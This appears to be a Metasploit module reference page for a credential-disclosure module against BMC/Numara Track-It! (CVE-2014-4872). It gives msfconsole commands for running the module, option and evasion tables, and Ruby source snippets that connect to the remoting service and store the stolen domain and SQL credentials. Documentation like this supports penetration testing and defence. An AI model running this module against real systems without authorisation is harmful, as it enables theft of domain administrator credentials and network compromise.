BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure - Metasploit
This page contains detailed information about how to use the auxiliary/gather/trackit_sql_domain_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure
Module: auxiliary/gather/trackit_sql_domain_creds
Source code: modules/auxiliary/gather/trackit_sql_domain_creds.rb
Disclosure date: 2014-10-07
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 9010
List of CVEs: CVE-2014-4872
This module exploits an unauthenticated configuration retrieval .NET remoting service in Numara / BMC Track-It! v9 to v11.X, which can be abused to retrieve the Domain Administrator and the SQL server user credentials. This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107, 10.0.0.143 and 9.0.30.248.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/trackit_sql_domain_creds
msf auxiliary(trackit_sql_domain_creds) > show targets
... a list of targets ...
msf auxiliary(trackit_sql_domain_creds) > set TARGET target-id
msf auxiliary(trackit_sql_domain_creds) > show options
... show and set options ...
msf auxiliary(trackit_sql_domain_creds) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the gather/trackit_sql_domain_creds auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/trackit_sql_domain_creds
msf6 auxiliary(gather/trackit_sql_domain_creds) > show info
Name: BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure
Module: auxiliary/gather/trackit_sql_domain_creds
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-10-07
Provided by:
Pedro Ribeiro <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9010 yes .NET remoting service port (TCP)
Description:
This module exploits an unauthenticated configuration retrieval .NET
remoting service in Numara / BMC Track-It! v9 to v11.X, which can be
abused to retrieve the Domain Administrator and the SQL server user
credentials. This module has been tested successfully on versions
11.3.0.355, 10.0.51.135, 10.0.50.107, 10.0.0.143 and 9.0.30.248.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-4872
OSVDB (112741)
https://www.kb.cert.org/vuls/id/121036
https://seclists.org/fulldisclosure/2014/Oct/34
Module Options
This is a complete list of options available in the gather/trackit_sql_domain_creds auxiliary module:
msf6 auxiliary(gather/trackit_sql_domain_creds) > show options
Module options (auxiliary/gather/trackit_sql_domain_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9010 yes .NET remoting service port (TCP)
Advanced Options
Here is a complete list of advanced options supported by the gather/trackit_sql_domain_creds auxiliary module:
msf6 auxiliary(gather/trackit_sql_domain_creds) > show advanced
Module advanced options (auxiliary/gather/trackit_sql_domain_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/trackit_sql_domain_creds module can do:
msf6 auxiliary(gather/trackit_sql_domain_creds) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/trackit_sql_domain_creds auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/trackit_sql_domain_creds) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <RHOST>:<RPORT.TO_S> - Failed to connect to remoting service
- <RHOST>:<RPORT> - Socket timed out after 15 seconds, try again if no credentials are dumped below.
- <RHOST>:<RPORT> - Received "Service not found", trying again with new packet...
- <RHOST>:<RPORT.TO_S> - Failed to connect to remoting service
- Could not resolve Database Server Hostname.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT.TO_S> - Failed to connect to remoting service
Here is a relevant code snippet related to the "<RHOST>:<RPORT.TO_S> - Failed to connect to remoting service" error message:
178: def run
179: packet = prepare_packet(true)
180:
181: sock = connect
182: if sock.nil?
183: fail_with(Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service")
184: else
185: print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...")
186: end
187: sock.write(packet)
188:
<RHOST>:<RPORT> - Socket timed out after 15 seconds, try again if no credentials are dumped below.
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Socket timed out after 15 seconds, try again if no credentials are dumped below." error message:
210: while true
211: ready = IO.select([sock], nil, nil, 15)
212: if ready
213: packet_reply = sock.readpartial(4096)
214: else
215: print_error("#{rhost}:#{rport} - Socket timed out after 15 seconds, try again if no credentials are dumped below.")
216: break
217: end
218: if packet_reply =~ /Service not found/
219: # This is most likely an older Numara version, re-do the packet and send again.
220: print_error("#{rhost}:#{rport} - Received \"Service not found\", trying again with new packet...")
<RHOST>:<RPORT> - Received "Service not found", trying again with new packet...
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Received "Service not found", trying again with new packet..." error message:
215: print_error("#{rhost}:#{rport} - Socket timed out after 15 seconds, try again if no credentials are dumped below.")
216: break
217: end
218: if packet_reply =~ /Service not found/
219: # This is most likely an older Numara version, re-do the packet and send again.
220: print_error("#{rhost}:#{rport} - Received \"Service not found\", trying again with new packet...")
221: sock.close
222: sock = connect
223: if sock.nil?
224: fail_with(Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service")
225: else
<RHOST>:<RPORT.TO_S> - Failed to connect to remoting service
Here is a relevant code snippet related to the "<RHOST>:<RPORT.TO_S> - Failed to connect to remoting service" error message:
219: # This is most likely an older Numara version, re-do the packet and send again.
220: print_error("#{rhost}:#{rport} - Received \"Service not found\", trying again with new packet...")
221: sock.close
222: sock = connect
223: if sock.nil?
224: fail_with(Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service")
225: else
226: print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...")
227: end
228: packet = prepare_packet(false)
229: sock.write(packet)
Could not resolve Database Server Hostname.
Here is a relevant code snippet related to the "Could not resolve Database Server Hostname." error message:
315: database_login_data[:port] = 1433
316: end
317: create_credential_login(database_login_data)
318: # Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
319: rescue SocketError
320: print_error "Could not resolve Database Server Hostname."
321: end
322:
323: print_status("#{rhost}:#{rport} - Stored SQL credentials: #{loot[database_server_name]}:#{loot[schema_owner]}:#{loot[database_pw]}")
324: end
325:
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7862 Merged Pull Request: Ruby 2.4 local fixes for metasploit-framework
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6139 Merged Pull Request: Remove bad references (dead links)
- #5173 Merged Pull Request: fix fail_with errors
- #4373 Merged Pull Request: fix invalid URI scheme
- #3966 Merged Pull Request: Add exploit for CVE-2014-4872 / domain and SQL creds leakage
References
See Also
Check also the following modules related to this module:
- exploit/windows/http/trackit_file_upload
- auxiliary/scanner/http/bmc_trackit_passwd_reset
- auxiliary/admin/http/sysaid_sql_creds
- auxiliary/gather/advantech_webaccess_creds
- auxiliary/gather/apache_rave_creds
- auxiliary/gather/asterisk_creds
- auxiliary/gather/doliwamp_traversal_creds
- auxiliary/gather/eaton_nsm_creds
- auxiliary/gather/hp_snac_domain_creds
- auxiliary/gather/teamtalk_creds
- auxiliary/scanner/http/manageengine_deviceexpert_user_creds
- auxiliary/scanner/http/novell_mdm_creds
- auxiliary/scanner/http/surgenews_user_creds
- auxiliary/scanner/http/wordpress_multicall_creds
- auxiliary/gather/alienvault_iso27001_sqli
- auxiliary/gather/alienvault_newpolicyform_sqli
- auxiliary/gather/billquick_txtid_sqli
- auxiliary/gather/dolibarr_creds_sqli
- auxiliary/gather/grandstream_ucm62xx_sql_account_guess
- auxiliary/gather/joomla_com_realestatemanager_sqli
- auxiliary/gather/joomla_contenthistory_sqli
- auxiliary/gather/joomla_weblinks_sqli
- auxiliary/gather/mantisbt_admin_sqli
- auxiliary/gather/peplink_bauth_sqli
- auxiliary/gather/pimcore_creds_sqli
- auxiliary/gather/solarwinds_orion_sqli
- auxiliary/gather/suite_crm_export_sqli
- auxiliary/gather/vbulletin_getindexablecontent_sqli
- auxiliary/gather/vbulletin_vote_sqli
- auxiliary/gather/zabbix_toggleids_sqli
- auxiliary/gather/nis_bootparamd_domain
- auxiliary/gather/searchengine_subdomains_collector
- auxiliary/gather/fortios_vpnssl_traversal_creds_leak
Authors
- Pedro Ribeiro <pedrib[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.